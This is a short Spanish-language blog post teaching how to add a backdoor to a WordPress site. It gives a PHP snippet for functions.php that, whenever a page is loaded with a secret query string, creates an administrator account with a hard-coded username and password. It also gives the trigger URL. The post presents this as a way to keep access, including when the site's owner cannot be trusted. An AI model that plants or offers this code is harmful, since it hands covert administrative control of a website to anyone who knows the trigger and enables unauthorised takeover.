Informática

Como crear una puerta trasera en Wordpress

13:58Danilo Ulloa

Si alguna vez perdemos acceso y no tenemos cliente ftp, o tenemos un cliente en el que no podamos confiar, podemos crear una puerta trasera o backdoor.

Crear la puerta trasera:

OK, aqui os dejo el snippet que necesitaréis para hacer el trabajo:
  1. Abre functions.php
  2. Copia/Pega el siguiente código:
    add_action('wp_head', 'wploop_backdoor'); 
    function wploop_backdoor() {
            If ($_GET['backdoor'] == 'toctoc') {
                    require('wp-includes/registration.php');
                    If (!username_exists('username')) {
                            $user_id = wp_create_user('nombre', 'contra');
                            $user = new WP_User($user_id);
                            $user->set_role('administrator');
                    }
            }
    }
    ?>
     
  1. Guarda los cambios

Si dejas el código tal cual, para crear un nuevo administrador en el sitio solo debemos ir a:

https://www.tusitioweb.com/?backdoor=toctoc

Después de que cargue la página, tu nuevo administrador será de usuario "nombre" y contraseña "contra".

You Might Also Like

0 comentarios

Formulario de contacto